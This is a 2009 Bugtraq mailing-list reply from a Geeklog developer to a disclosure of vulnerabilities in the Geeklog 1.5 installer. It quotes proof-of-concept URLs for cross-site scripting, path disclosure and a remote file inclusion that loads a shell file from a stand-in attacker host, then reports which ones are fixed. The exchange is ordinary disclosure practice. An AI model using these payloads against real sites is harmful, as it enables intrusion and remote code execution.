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Date: Thu, 4 Jun 2009 21:29:02 +0200
From: "Dirk Haun" <dirk@...n-online.de>
To: <bugtraq@...urityfocus.com>
Cc: <security@...ern0t.net>, <geeklog-security@...ts.geeklog.net>
Subject: Re: [InterN0T] Geeklog 1.5 - Pre-Installation Vulnerabilities

security@...ern0t.net wrote:

>Geeklog - Pre-Installation Vulnerabilities
>
>Version Affected: 1.5.2sr4 (18th April 2009) (newest)
(...)
>Cross Site Scripting: 
>http://www.website.tld/geeklog/public_html/admin/install/index.php?
>mode="><script>alert(0)</script>dbconfig_path="><script>alert(0)</script>

This exact request does not seem to work, but a similar case has already
been reported by someone who called himself Nemesis. I have to admit
that it does still work with the installer for Geeklog 1.6.0 (currently
in beta). We will address that ASAP.


>Path Disclosure:
>http://www.website.tld/geeklog/public_html/admin/install/index.php?
>mode='&dbconfig_path='
>
>Remote File Inclusion:
>http://www.website.tld/geeklog/public_html/admin/install/index.php?
>mode='&dbconfig_path=http://www.evilsite.tld/shell.txt?

These two have been fixed in the 1.6.0 installer.


>-:: Solution ::-
>I didn't bother to find one, sorry.

A simple solution is to follow the installation instructions, which
strongly recommend removing the install script after a successful
install. There are also further checks and reminders about this built
into Geeklog.


>Disclosure Information:
>- Vulnerabilities found and confirmed between 1st and 3rd June 2009.
>- Published at InterN0T the 3rd June 2009.
>- Bugtraq contacted the 3rd June 2009.

A "Vender contacted" somewhere in between there would have been nice. We
do take security very seriously and we do give proper credits.

regards,
Dirk Haun
(for the Geeklog Team)


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